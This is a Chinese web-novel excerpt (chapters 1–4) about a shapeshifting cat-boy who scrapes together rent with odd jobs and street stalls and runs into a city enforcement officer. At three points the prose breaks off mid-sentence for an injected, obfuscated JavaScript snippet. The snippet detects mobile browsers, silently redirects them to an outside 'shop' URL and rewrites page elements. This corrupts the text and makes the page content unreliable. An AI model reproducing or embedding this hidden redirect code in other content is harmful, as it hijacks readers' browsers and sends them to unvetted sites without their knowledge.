《猫猫也要养家糊口》 1. 一一老大 盛夏午后,街头热辣。 “你等着,猫找猫老大弄你!” 一只缺了半个耳朵的橘猫攥起拳头朝着一只狸花猫威胁道。 那狸花左眼刀疤,膘肥体壮,眯起眼不屑说:“太阳下山街口见,谁不来谁是猫崽子!” “行,你等着!”半耳橘缩着脑袋,匍匐后退,离了八丈远后撒开脚丫狂奔。 它一路跌爬,冲进院里,“老大,呜呜,老大……” 瘦骨清俊的少年正端着水盆往外泼,劈头盖脸浇了半耳橘一身。 树摇风动,哗啦啦的光与影流过人脸,江亦一放下盆,拎起猫问:“你又和谁打架了?” 半耳橘蔫头耷脑地滴着污水反驳:“猫才没有打架……” 江亦一对好战分子的话表示怀疑,捞着它往石砌的水池里一放,拧开水龙头。 水哗哗淌,半耳橘乖乖蹲着泡了半天也没等到江亦一的后话,蹲不住了,抬起的脸上满是谄媚喊:“老大……” 江亦一漫不经心地“嗯”了一声,只等这憋不住屁的小家伙继续说:“那只刀疤狸太坏了! “带着小弟霸占烧烤街,不让猫们去讨食!” 江亦一打着泡沫,说:“最近有人投毒,不是让你们不要再去那边吗?” 半耳橘忙说:“猫们听话,没吃人丢的东西,是想去抓老鼠的。” 江亦一手上动作一顿,微微抿住嘴角。 半耳橘得意洋洋的,“猫抓到了两只灰毛大耗子。”没讲完,它又气愤:“结果那个刀疤狸抢猫东西,还威胁猫不许再去那里找食吃。” 就在讲话的空档,陆续有七八只猫炸着皮毛跑回家,扑在江亦一的脚下喵喵叫着一起告状。 江亦一听它们七嘴八舌,冲冲手问:“那只猫抢了东西也不吃吗?” “对啊。”一只猫捂着鼻子嫌弃道:“嘴巴还滂臭。” 江亦一若有所思,捞出半耳橘,扯了条毛巾,三两下擦了一通,“行了,我知道了。白天热,你们就别出去了。” 他说着回屋,原本趴在水泥地上散热的几只狗听见动静,纷纷抬头摇尾。 “我上班去了,你们注意看着点爷爷,别让他乱跑。” 领头的大黄狗轻轻吠了一声,江亦一往围栏里望了一眼,见老猫安静蜷缩着,这才背上包走出门。 还差半个月他才成年,正儿八经的工作是找不到的,什么脏活、累活,只要人家愿意要他,他都干。 正是一天最热的点,步行街里行人稀少,江亦一推开烧烤店门,朝柜台远远喊了一声:“老板。” 窸窸窣窣探起个头来,那老板半眯半醒着一双小眼,看清来人是谁时眯缝眼一亮,“亦一啊,在外头热坏了吧?瞧你这一身的汗,快进来歇会,站门口做什么?” “不了老板。”江亦一说:“我换了衣服就上工。” “哎,你这小家伙急什么?还没到营业时间呢,这大热的天,你来我这儿躺……” 就在老板起身的间隙里,江亦一拿了玩偶服闪进员工卫生间。他插紧门栓,又拉了两下,这才脱了T恤换上背心。将近四十度的高温,哪怕店里开着空调,玩偶服一套上身,背心就湿透了。 江亦一呼出一口浊气,拉开插销走了出去。 老板守在门口,看见已经换上连锁店统一配发服装的江亦一撇了下嘴,语气不大乐:“传单在柜台上,今天五百张啊,我会去检查的。” 江亦一点点头,脑袋大大的仓鼠玩偶也跟着点头。 这样的天,这工作不好干,但钱给得还可以,半天就能拿二百。 玩偶服里酸臭味熏眼,江亦一眨掉刺进眼里的汗,又给路人递了一张。五百张传单听着不多,可真一张张地发出去,街边日头早已斜了。 等到最后一张纸递出,江亦一彻底没劲说话。他深一脚浅一脚地走回店里,避开人潮钻进员工卫生间。 刚脱了玩偶服,就听老板敲门:“亦一啊,开下门,我要上厕所。” 江亦一拧开浴头,哗哗的流水愈来愈挡不住哐哐的敲门声。他迅速冲洗,换回干净衣服,这才打开门。 老板举着手面色铁青,张嘴本是要骂的姿势,眼光在江亦一的脸上舔了一圈,火又有点下去了,“你干什么呢,我喊门你听不到啊?” “洗澡,水声大。” 少年嗓音清冽,个头也高,讲话时微微垂着眼,又长又直的睫毛在眼下压出一小片影子。 老板盯着他湿漉的发梢,脏话莫名憋回肚里,意有所指道:“你一个男孩子,洗澡锁门干什么?还怕谁来看你啊?再说了,你个男的,看见了也不少块肉啊。” 江亦一点点头,原本锐气的眉眼敛下来,说:“我怕有女士误入。” “这倒也是……”老板语气不大愉快,小声嘀咕:“不能让别人给看了……” 江亦一眼都没抬,随口应道:“嗯。” “行吧,今天热,我再给你多结五十,你可要记得哥的好啊。”他眼睛一转,话锋一转:“不过嘛,这明后天你就别来了。至于原因,自己回去思考一下,想清楚了再来上班。” 江亦一“哦”了一声:“我会的。” 会个猫屁会,不要脸的臭流氓,你才二百五。 一出店门,江亦一就打了举报电话: “喂,是消防吗?我要举报…… “喂,是税务…… “喂,是市场监管局吗?我要举报有人投毒。” 他在这家店干了小半个月,早就将老板违法乱纪的行为记了个一清二楚。 君子报仇十年不晚,小猫报仇就在今晚! 恰逢梧城一年一度的严查整治,都没等江亦一走出步行街,执法人员就已进店。 无暇留下来吃瓜看热闹,江亦一躲进暗巷,不多时,一只奶牛猫贴着墙根窜了出去。 * “呵,猫看你们那个老大,怕不是只缩头乌龟吧!” 刀疤狸带着一众小弟,与半耳橘方对峙着。 “放你猫的臭屁!”半耳橘弓着背怒吼道:“猫老大在上班,下班了就会来揍你!” “你才臭猫屁满嘴放屁!猫怎么会上班?你这只没有左耳的猫!” 都是在街头混迹的猫,两方骂起来喵喵叫得很脏。 “你们能有什么老大?”刀疤狸斜眼轻蔑道:“一群被豢养的家猫,没有蛋就算了,嘴里也没一句真话。养你们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534338|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类可真是废物,喂不饱你们还要让你们出来抓老鼠吃,简直笑死猫了。” 是可忍孰不可忍,孰可忍猫不能忍,半耳橘听见对方敢这么侮辱自己老大,背毛唰地炸开,龇着牙发出哈气声:“是猫们自己要出来的,一一老大是世界上最厉害的小猫!” 刀疤狸岂会信它,“你这种屎黄色的猫最爱撒谎了!” “猫才没有撒谎!” 双方剑拔弩张,大战一触即发之时,一道声音从高处传来:“梵高,退下。” 半耳橘梵高“哈”到一半嗓子卡了,眼睛霎时一圆,夹着声咪咪喊:“老大~” 刀疤狸听这死动静下意识一呕,好几下才缓过来。它眯着眼朝声音望了过去,只见路灯上蹲着一只雄赳赳气昂昂的黑白小猫。 “呵,这只毛都没长齐的小猫崽子就是你们老大?” 他这身板顶天也就六个月大小,在刀疤狸这种称霸街头的两岁大猫眼里是完全不够看的。 江亦一不费口舌,顺着几处落脚点利落跳下地,走到楚河汉界的中央对刀疤狸说:“我不欺负你,就用猫身和你打。” 刀疤狸怒上心头,根本来不及思考这话是什么意思,“好大的猫脸!” 它右爪出鞘,虎虎生风地朝江亦一袭去。 江亦一不闪不避,站起两只脚,举起双手“Duang”的两拳砸在刀疤狸面门。 左勾拳,右勾拳,他长腿纯黑只前端一圈雪白,抡起来像戴着副白色的拳击手套。 祖宗十八代都是猫的不能再猫的刀疤狸哪里见过这种野路子,被揍倒在地,翻着白眼没能理清世界逻辑。 这么小的猫,哪来这么大的劲?咪的世界观有些坍塌。 江亦一踩着它的肚皮问:“服不服?” 服个屁! 刀疤狸嘴巴一张就要骂,江亦一梆梆又是两拳,教育道:“不许说脏话。” 等到猫彻底歇菜,江亦一扒拉开它的嘴巴,果不其然发现伤口。 这猫看着威武,实际一路都在强忍,这时被扒开了嘴,口水夹着血丝直往下淌,也硬是一声不吭。 江亦一轻叹了口气,扭头吩咐半耳橘:“你们先守着。”说罢他跑回暗巷,变回人形穿好衣服。 刀疤狸神情茫然,不明白这个人类的身上怎么会是那只小猫的气息。 他的手抚摸下来,将它抱起,“别怕,我带你回去治病。” 就连它的小弟都不知道它快要死了。一根鸡骨刺破了它的上颚,时不时就要流血,它已经两三天不能进食了。 “你也是厉害,这样都能骂个不停。” 他的声音很安静,身上有着淡淡的皂角气,混着一点日晒后的干燥味…… 刀疤狸不自禁地嗅着,在莫名的安心中迷茫昏睡过去。 再次醒来时那气味不见了,取而代之的是消毒水味,它的嘴巴是不怎么疼了,裆下却有些疼。 刀疤狸踉跄着爬起身,感觉有什么不对。它想去看自己的腿,却被脖子上古怪的圆圈给挡住了,只能呆着脸去感觉。 “……” 感、感觉不到。 蛋、蛋去哪了? 咪的世界观,彻底崩塌! 2. 屈政彧(yù) 江亦一没有执业兽医资格证,不过他从小就跟着爷爷救助动物帮他打下手,可谓是高中刚毕业,工龄满十年。像给猫狗嘎蛋这种小手术,那叫一个手起刀落,信手拈来。 半耳橘夹着腿,捂着裆,在刀疤狸面前走来走去,学它走路,“是谁蛋没了好难猜啊。” 隔离笼中的刀疤狸毛脸悲愤:“搞的跟你有蛋一样!” 半耳橘一挺胸道:“猫和你可不一样,猫的蛋是自愿上供给一一老大的!” 刀疤狸:“……” 这群猫简直就不正常! 刀疤狸靠着笼壁瘫坐着,猫生少有的开始后悔。 猫错了,猫真的错了。 猫从一开始就不应该带着小弟换地盘,如果不换地盘就不会遇见这群零蛋猫,没有遇见零蛋猫就不会抢老鼠,不抢老鼠就不会被打,不被打就不会被抓到这么一个恐怖的地方,也就不用丢掉蛋了。 那只黑白色的猫……根本就是恶魔啊! 恶魔江亦一端着药盘,用脚拨开搔腿弄姿的半耳橘,打开笼门说:“梵高,把院子里晒的毯子拿过来。” 半耳橘一骨碌爬起身,“好的老大!” 刀疤狸哆嗦着往后退,“你,你要干什么?” 江亦一指尖纤白,力气却大,一把揪住刀疤狸的后颈,掰嘴塞药一气呵成。 刀疤狸下意识就想呕出来,奈何嘴筒子还被人捏在手里,只能含泪往下咽。 江亦一确定药下去了才开口:“再吃几天你的嘴巴就能好,这期间少说话,特别是脏话,不然的话……” 他眼睛往下一瞥,刀疤狸夹了夹自己空荡荡凉飕飕的毛□□,屈辱地点了点头。 然后它就看见这个也不知道是人还是猫的家伙笑了,嘴角的弯起幅度不大,浅浅的,他摸了摸它的脑袋,说:“好猫。” “老大,毯子来啦。”半耳橘喵喵叫着一路跑进来。 江亦一收回手,弯腰拿起半耳橘背上的东西,也摸了摸它高高扬起的头,“谢谢。” 他说完,穿过一地横七竖八的猫狗往里走。尽头靠墙有一小间,门口钉着栅栏,里面一张窄床,床上蜷着只毛发晦暗的狸花猫。 江亦一拉开栅栏,蹲下身,面不改色地清理着老猫和他身下的脏污。 老猫被碰醒了,睁开眼,橙黄的眼睛有些浑浊,慢慢认了一会儿,“一一啊?” “爷爷,是我。”江亦一铺好干净的毯子,把他抱回去问:“饿不饿?要不要再吃一点?” 高良姜答非所问,动作卡顿,“几点了,你怎么还不去上学?” 江亦一垂着眼,一点点梳顺他的背毛,“一点多,等下就去。” “嗯。”高良姜眼皮半阖,语气变得含混:“上学……上学好,我们一一是要上学的。” 江亦一没有上学,高三已经结束了。他扣好栅栏,端着换下的脏物去水池清洗,一群猫狗跟前跟后,也不嫌热,趴在他腿边喵喵汪汪地讲个不停。 “等太阳下山了,咱们去菜市场抓老鼠吧。” “快递站有小偷。” 它们天南海北地碎嘴:“猫听狗说,烧烤店的那个坏老板被人类抓走啦。” 江亦一拧干毯子,抖开晾在绳上,脸上没什么表情,只在听见这话时,眼尾轻快挑了一下。 烧烤店歇业整改,江亦一没了工作却不可惜,举报前他就想好了其他的赚钱活计。 猫狗不知道,还有些惊喜地问:“老大,你今天不上班哇?” 江亦一没多解释,只说:“去帮我把门口的快递拿过来。” 他一声令下,一群猫狗抵着箱子就往屋里推。 江亦一席地而坐,随手捞起一只狗爪顺着封箱胶带一划,盒子就开了。里头叮叮当当的,项圈、围脖、衣饰、玩具,都是一些猫狗用品。 半耳橘第一个探过脑袋,爪子刚搭上箱沿,就被江亦一挡了回去,“不能扒拉,这些都是要卖钱的。” 一听可以卖钱,二十来只猫狗肃然起敬。 江亦一按亮手机,屏幕上还置顶着交租提醒。他点掉通知,转手打开购物软件。图标卡了半天页面才跳出来,他一一核对完物品,抬眼,目光在猫狗中慢慢掠过。 小猫小狗在他的打量里莫名挺直了胸膛,半耳橘更是后仰着差点撅倒。 “鸳鸯眼和趴趴耳。” 一白猫一比格应声出列,站得板板正正等待老大吩咐。 “你们两个晚上和我一起出去摆摊。” 同一天梧城的另一头。 “砰,砰——” 枪声咬碎早间清闲,弹壳接连坠地,叮叮当当滚了一片。 电子报靶屏一跳一跳地往上刷,十环,十环,还是十环。 射击场上原本还有人低声说笑,不知从什么时候起,全都静了。 而让全场如此寂静的人,摘下耳罩与护目镜,露出一张轮廓深刻的脸。 “屈大公子,你这一大早的,跑我这儿砰砰几十枪的砸场子来了?”许既笑着走近,丢了瓶水过去。 “这也能叫砸场子?”屈政彧挑起右侧断眉,抬手接水,拇指一顶,瓶盖“啪”地弹起,“状态太差,手都生了。” 许既嘴角一抽,偏头看了眼报靶屏上刚被他抬上去的馆内纪录。 “刚听我爸说你回梧城了,正想找你聚呢。这下好了,我喊清辞出来,咱哥几个中午……” “先别了,我等下还要去上班。”屈政彧拇指揩去唇边水渍,漫不经心道:“周末再说吧。” 许既本来还笑着,听见这话愣了一下,“上班?上什么班?你这次回来不是休假的?是跨省办案?” 屈政彧从兜里摸出烟盒,磕了一支咬进嘴里,笑道:“还办案呢,我上个星期在市监局接投诉电话,昨天在交警队开罚单,等下还要去城管支队抓小贩。” 许既人还懵着,手上不忘点火,“啥意思?你们警察现在业务范围这么广了?” “那可不。”屈政彧说:“忙得很。行了,我报道去了。” “不是,你等会儿。”许既追在他身后跑:“你是不是又逗我玩呢?你到底回来干嘛的?” 这可真是个好问题,屈政彧想。 “笃笃”两声,他敲响今日的上司大门。 “进。” 屈政彧刚进门里,领导就笑呵呵地迎了上来,“坐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534339|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐。” “您好,我来交就职材料。” “小、”领导艰难喊出口:“小屈啊,关于我们这边的执法工作,你有什么想法没有?” 屈政彧笑了,“我没有想法,我听从安排。” “……”领导喉头一哽,试探开口:“那,我们就按常规流程来?” 屈政彧直白说:“我不喜欢搞特权。” “……那这样吧,我找个人来带带你,你先跟着他们去工作,要是有不适应的地方,你一定一定要跟我说啊。” “明白。”屈政彧道。 说上岗就上岗,当晚他就跟着人去出勤了。 他的个子逼近一九三,往胡乱摆放的摊位前一站,右侧一道断眉压着眼,肩背一展,摊前那点地方顿时逼仄起来。 罚单“刺啦”一声,“五百。” 摊贩怀疑这一身匪气的人到底是来执法的,还是来收保护费的。 “五百?你抢钱呢!我在这儿摆了这么多年了,从来都没这么罚过!”他喊着就把手里的刀往案板上“咣咣”砸,动静震得路人畏惧又忍不住地看了过来。“我不交!你这制服分明就是假的,这片区域的城管就那么几个,我没见过你,你——” “那你现在见过了。” 屈政彧亮出证件,“刀放下去。” 那小贩或许是混不吝惯了,竟敢道:“我就不放怎么——”可话没说完,视线撞上了对方平静的眼睛,他呼吸一滞,冷汗瞬间爬满后背。 “……付过去了。” “谢谢配合。”屈政彧递出回执,转身走向另一个被同伴抓住的摊贩。 那摊贩是来硬的,这摊贩是来软的,拉着孩子连声道:“领导,领导我这带着孩子呢……” 屈政彧瞥了眼那流着鼻涕、被扯得踉跄的小孩,抬手把人往回拎了一把,免得他摔倒。 摊贩一看有戏,“我真不容易,您手下留情行吗。” 屈政彧看着他,忽然露齿一笑。 摊贩愣了下,忙跟着赔笑。 下一秒,屈政彧笑意一收,“两百。” 一连罚了十几个,屈政彧毫不手软,又问同伴:“这片都巡完了?几点下班?” 同伴说:“这才到啥时间点,早得很呢。” 他给屈政彧递了支烟,“累死了,咱们先歇一会。这片是固定摊还好,外边马路上还有好多没摊没证的小贩,要是遇到比刚刚那种还混的刺头,不服管不交罚款还要跑的,那才有的折腾呢。” 屈政彧指尖捏着烟,低头凑近对方火机。那点火光贴着他侧脸一闪,浓眉缀在棱角分明的脸上,压着一双锐利的眼。 同伴在他身边像只小鸡子,“不是,哥们,要我说你去当那个什么男模啊,那不比干这工作赚钱多了。” 屈政彧咬着烟笑了一下,微眯着眼吐出一团白雾,答非所问:“要是遇见那种不服管的怎么办?” “怎么办?硬碰硬他能讨到好?说白了,咱们也是按规矩办事。他配合,那象征性罚一点也就过去了,他要是不配合——” 话没讲完,对讲机就响了:“小屈小王,来地铁口这边支援。嘶——这怎么还有猫?” 3. 猫猫摆摊 人类模特要找好看的,猫模也得挑精神的。 江亦一从一堆战损里勉强扒拉出来两只没啥残缺的,洗了澡擦了脸,收拾干净整装出发。 天是鸦羽黑,空气里烧烤烟气夹着西瓜味。 到底是头一回干这个,到了地方江亦一才发现自己想得太简单了。人满为患,下脚的地方都难得,别提是找摊位。 他没有推车也没有什么装备,一条床单裹成包袱斜在身后,一左一右跟着一猫一狗。个高腿长,帽子口罩,哪怕看不见脸,都叫人忍不住多瞧两眼。 江亦一找了个犄角旮旯的地方,见缝插针地猫了进去,刚要把东西摊开,一旁的果切摊主就喊:“哎哎,你干嘛啊?这里有人了你看不见啊?” 江亦一压了下帽檐,抬头说:“我卖猫狗玩具,不会抢你生意的。” 夏夜烦躁,少年这一开口,清清爽爽的,倒叫人怔了一下。果切摊主拦人的手悬在半空,下意识循声去望他的脸。 “人多也能给你招揽一些客人。”江亦一讲。 这地方挨着地铁口,外围一圈全是没证的流动摊子,虽说先到先得,可后来的要是能挤出一块落脚地来,还真也不能说什么。 江亦一见他站着不走,以为他犹不乐意,挣扎两秒说:“你有养猫狗的话,我送你个玩具吧。” 果切摊主从口罩上移开目光,又见他那些花里胡哨的小东西,嘟囔着摆了下手,“行了行了,你再往旁边去一点,别碍着我事了。” 都什么乱七八糟的玩意儿,这能赚到钱? 那还真能。 不过片刻,他眼睁睁看着江亦一的小破摊前围了一圈下班的女生,一个个对着摊前的猫狗夸道: “好可爱呀~” “它们多大啦?叫什么名字呀?” “可以摸嘛?” 江亦一给趴趴耳的耳朵扎成兔子状,再给鸳鸯眼戴上青蛙头套,“可以摸,不咬人。” “这个多少钱啊?” “发圈七块,头套十五。” 果切老板听得眼都直了,“啥?这么点小玩意凭什么卖这么贵?两元店里人戴的都一抓一大把!” 女生直接白了他一眼:“你这叫什么话?那能是一样的东西吗?” “怎么就不一样了?我看还不如人用的呢!” 江亦一微抿了嘴角,像解释说:“进价不是两块钱。” “我都养猫几年了我当然知道。”女生说:“行了,两个都要你给我便宜点吧。” 江亦一点点头,问:“一起二十可以吗?” “……”女生认真瞧了瞧他,“行吧,那我再买两个。” 果切老板简直不可置信,这人的生意怎么就能做得这么容易?他这正儿八经的摊子一晚上也来不了几个人,那小破摊倒好,围着的人换了一拨又一拨,眼瞅着就卖出去了三四百。 江亦一撩起衣摆,擦了擦汗,“要是小猫戴着大小不合适,你明晚来,我给你换。” “行。”顾客愉快扫了码,江亦一刚要将口袋递出去,就听一声大喊:“城管来了,兄弟们快跑!” 水滴进油锅,整条街噼里啪啦开始乱跳。 果切老板也顾不上羡慕嫉妒了,一把扣上盖就溜。卖烤肠的推车就跑,付过钱还没拿到食物的顾客大张着嘴见他没了影。 江亦一把口袋塞进顾客手里,俯身一掀床单三两下兜住摊上的零碎,左手一只猫,右手一条狗,当即也要跑路。 “哎!你等下,我码还没扫上啊!” 江亦一顾不上回头,“明晚我还在这——” 话音戛然而止,他一头撞上了墙,猫狗同时炸毛,蹬着他跳下地。 江亦一猝不及防往后一倒,却没摔下去。一条手臂斜里穿出,隔着薄薄的T恤扣住他的腰,将他往回一带。 “小心,小心。”话里含着点笑。 江亦一被托着腰肢,脚尖微微踮起。后仰抬头,这才发现自己撞上的不是堵墙。 是个人。 那人又高,又大,跟辆卡车似的遮罩住了路灯下的光。 那是一张极为英俊的脸,眼睛不是纯正的黑色,带着些灰,带着些戏谑,居高临下着,“身份证出示一下,爱举报的小朋友。” 江亦一脑子里先是一空,随即所有火气都被最后三个字点着了,眼尾一压,瞪着他,“谁是小朋友!” 屈政彧瞧见他眼里火星,嘴角的笑意反倒深了点,“肯定不是我。” 阴阳怪气,讨厌! 江亦一腰身往旁边一折,从那只手里滑了出去,“你有毛病吧?这么大个子挡在别人走的路上,要是撞到老人小孩还有孕妇怎么办?” 他这话迁怒是有,更多的还是想先声夺人。 屈政彧收回落空的手,微挑起眉,“那我肯定不会,平白无故就去挡别人的路。” 江亦一心虚了那么一咪咪,但不能露怯,硬邦邦道:“谁知道你了,电视上又不是没报道过,好多城管都是暴力执法的。” 屈政彧笑了一下,不置可否,“小朋友脑筋还挺活。放心,我不是电视上演的那种大坏蛋,来吧,身份证出示一下。” “……”江亦一压低帽檐,余光往旁边一扫。 鸳鸯眼和趴趴耳弓着背候在他身后,两侧人流如潮,七八个城管在开罚单。 好像能跑。 屈政彧也不催,就这么好整以暇地看他。看他帽檐压得低,口罩遮住脸,仅露出的脖颈白皙,在夜里晃人眼。 好像想跑。 “这大热的天,你不热吗?”屈政彧抬手,指尖还没碰到他的帽檐,就被少年一巴掌拍开,“你干嘛?!你管我热不热?” 一次是巧,两次就不是了。这小孩的肢体反应是真快。 屈政彧抬起双手,掌心朝外,“我是关心你,脾气怎么这么大呢?” 他越说江亦一越气。酸臭的玩偶服、老板黏在身上的眼神、手机上置顶的交租提醒,一下子全堵到胸口。他没偷没抢,只是想赚钱交房租,给爷爷买药,给猫狗挣饭钱。结果又撞上了这么个上来就动手动脚、还一口一个小朋友的大流氓。 他还要罚小猫小狗的辛苦钱! 心里那点火蹭地往上窜,江亦一控制不住道:“你是谁啊,我需要你关心吗?” 屈政彧长到这么大,还真没被人这么呛过,一时不免有些新鲜。嘴角笑容不落,他本想再逗一句,却窥见少年那双漂亮的眼睛里蒙着一层倔强的水光。 “……”到了嘴边的话顿了顿,再出口时,只剩两个字。 “抱歉。” 江亦一憋着的气鼓了没一会儿,漏了气说:“……我找下身份证。” 理智回归,他蹲下身捡起包裹,装模作样地翻找起来。 他没带身份证,哪怕带了,也不能拿出来。一晚上的收入刨去成本不过百来块,都不够交罚款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534340|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。他知道自己不占理,也不占法,可是…… 江亦一双臂紧贴身子两侧,攥着包裹的指尖绷得发白。 趴趴耳顶着兔耳,夹着尾巴,怯怯瞥了屈政彧一眼,还是挪到江亦一身边,蹭了蹭他的小臂,“老大。” 江亦一手指一松,三两下系紧包裹往狗脖子上一挂,悄悄打了个手势后站起身说:“我身份证没带。” 屈政彧半垂着眼,余光带过正悄悄往后退的一猫一狗,尾音拖得不轻不重:“没带啊?也没关系,全国联网,你报号就行。” 江亦一脑筋飞转,“你都没出示证件,我不能把身份证号告诉你。我要先确定你真是城管,不是出来坑蒙拐骗的。” “嗯,也有道理。”屈政彧侧了下头,思索状说:“那这样,我给你看我的证件,你准备好告诉我,你的名字。” 他低头掏东西的片刻,江亦一脚尖悄悄一转,可肩膀刚错开半分,手腕就被人扣住了。 屈政彧缓缓抬眼,“别急啊,我正在拿呢。” “……”这大卡车反应怎么这么快! 江亦一的眼睛一点点睁圆了。 灯火摇曳,映在那双眼里,明明灭灭跃动。屈政彧无意识地收拢指尖,指腹擦过那截腕骨,少年的肩膀轻轻一缩。 “小屈,你这边有什么问题?”队长叠着回执单从人群里走来。 屈政彧垂眼松开掌心,江亦一立刻把手背到身后。 “没有问题。”屈政彧说:“正在处理。” “抓紧时间,这片清完了还要再回头查一遍。”队长蹙眉问:“你是摆什么的?摊子呢?” 江亦一闷声回:“卖猫狗玩具的,没有摊子,就一块布。” “以前没犯过吧?” “没,我第一次摆摊。” “念在你是初犯,登记警告,罚款就按最低两百来,以后不能在这里摆摊了知道吗?” 江亦一垂着脑袋,应说:“哦。” “这里车来车往的,你们严重影响了其他公民的交通权益……” 对着自己张牙舞爪,对其他人倒挺乖巧?屈政彧不动声色弹了下舌,觉得这队长有些聒噪。 “行了,身份证多少。” “请等一下。”江亦一掏出手机,一五一十的,“我记不得号码,但手机里有存。” 真这么老实?屈政彧挑起眉毛。 “我的身份证是……”江亦一开始念数字。 慢吞吞的,一个字一个字往外蹦时,不远处正好传来一阵推搡声。 江亦一立刻抬手,语气骤然一急,“我的天,你们城管和小贩干起来了!” 队长几乎是本能回头,屈政彧却看着他,慢慢笑了。 江亦一顾不上理他,扭身往旁边一矮,贴着空隙闪了出去,眨眼就钻进了人潮。 队长转回身,“那人呢?!” 屈政彧说:“跑掉了。” “真是终日打雁,被雁啄眼了,”队长一把摁住肩上的对讲机,“当着我们俩的面都敢跑?嘿,你别说这人演技还真是好,看不见脸都给我唬住了。喂,喂,前面几队注意……” 屈政彧想起前几天被他老子发配到市监局时接到的那通投诉电话。电话那头声音清亮,条理清晰,噼里啪啦一通输出,半点没给人插嘴的机会。 “嗯。”屈政彧懒懒说:“有点本事。” 可惜,跑得了人,跑不了来电记录。 4. 十块钱 江亦一回到家,越想那句“爱举报”就越心虚。 那大高个是怎么知道我打过举报电话的?难不成他是老板亲戚?要报复我? 黑白色的小猫撇着耳朵,一下一下地挠着椅子腿。那椅子长久受他摧残,四条腿没一条体面的,抖抖索索、咯吱咯吱地呻吟着。最后抓了两把,江亦一甩甩尾巴。 算了,纠结那么多干什么,我有证据,还能怕他们不成。 收拾好心情,江亦一起跳上床。 老猫侧卧在中央,眇着眼喊:“一一啊?” “嗯,”江亦一抵抵他的额头,“爷爷你要喝水吗?” “不渴,你作业写完了?” 江亦一面不改色,脑袋一点,“都写完了。” 老猫“哦”了一声,过了几秒钟,“一一啊,作业写完了吗?”不等江亦一回答,他嘴里含含混混又讲了些什么,眼睛闭上了。 江亦一垂着胡须,良久,拉过毯子给他盖好。 高良姜这几日的状态愈发下降,少有清醒的时候,江亦一查了资料,打算过些天再去换些药。当务之急是先把房租给凑上。 高良姜租了十几年的商住院子临近江边,上下两层,一层是诊所,二层是爷俩房间。地方不大位置又偏,胜在价格便宜,在梧城这种地界也就两千出头一月。 江亦一舔舔爪子,翻了一页账本。 这段时间他打零工陆陆续续攒了一些钱,一两个月的租金是够的,可这院子三年一续,一下子七八万肯定是拿不出来的。 小猫岔腿坐着,愁眉苦脸地叹了口气。 得想法子赚钱。 打零工赚不了多少钱,摆地摊也只是三瓜两枣……他想到这里,猫脸顿时不乐。 最后一个顾客的十块钱没有收到。 那可是十块! 江亦一抱胸气了许久,才熄灯睡到老猫身边。 夏夜蝉鸣噪噪,老旧风扇摇着头,时不时的“咔”上一声。 江亦一猛然睁眼。 那可是十块!必须得要回来! 第二天夜晚,黑白色的小猫半个身子藏在暗处,严肃观察敌情。 这一片昨晚才被城管扫过,今天冷清不少。没了流动摊堵路,地铁口外空出一大片,只剩一辆闪着光的城管车,安安静静的。 江亦一一眼就瞧见了那个大高个。 屈政彧倚着巡逻车,长腿松松支着,一手插兜,一手夹烟。一个再普通不过的姿势,到了他身上,也带着几分大马金刀的架势。 “你好像不是考进来的吧?那是从哪个部门调过来的?”同事问说。 屈政彧垂眼,视线落在指间那点猩红上,过了两秒,才点点烟灰,漫不经心回:“公安。” 同事烟都忘了吸,“你吹牛逼呢吧?” 屈政彧嘴角懒懒一挑,模棱两可地笑了笑。 “你扯犊子也得打一下草稿啊……” 屈政彧没有应话,有一搭没一搭地听人絮叨,忽然抬起眼。 他咬着烟,目光在人群缝隙里缓慢扫过。 江亦一心头一跳,立马缩回探出的脑袋。 不是吧,这也能看到? “咋了?”同事话音一停,“有什么情况吗?” 屈政彧指腹一错,烟星就在手中熄了,方才的那点懒散也随之灭了。他肩背一展,长腿迈了出去,几步穿过人流,直奔巷口。 “我靠,你是真能装逼……”同事被他这灭烟的动作秀了一脸,反应过来赶紧追了上去。 江亦一眼见大卡车朝着自己突来,皮毛一炸,夹起尾巴扭头就跑。三两下翻上围墙,眨眼间就没了影。 夜风穿巷而过,屈政彧望向空荡荡的墙头,眯眼看了片刻。 “你到底在看什么?这啥也没有啊。” 屈政彧只说:“走吧。” 下班到家刚过十点,屈政彧推开门,踢了鞋子喊:“小宝,出来吃饭。” 细细的摩擦声响起,一道粗长的身影慢吞吞游了出来。 屈政彧拿出已经解冻回温的仔兔,拎到它面前。 深棕色的缅甸蟒原本还不紧不慢,闻到味了,立刻抬起脑袋,信子飞快吞吐两下。它吃东西积极,尾巴尖不停在地上轻快扫着。 屈政彧看了片刻,嘴角牵出一点笑来,不轻不重地拍了一巴掌,“出息。” 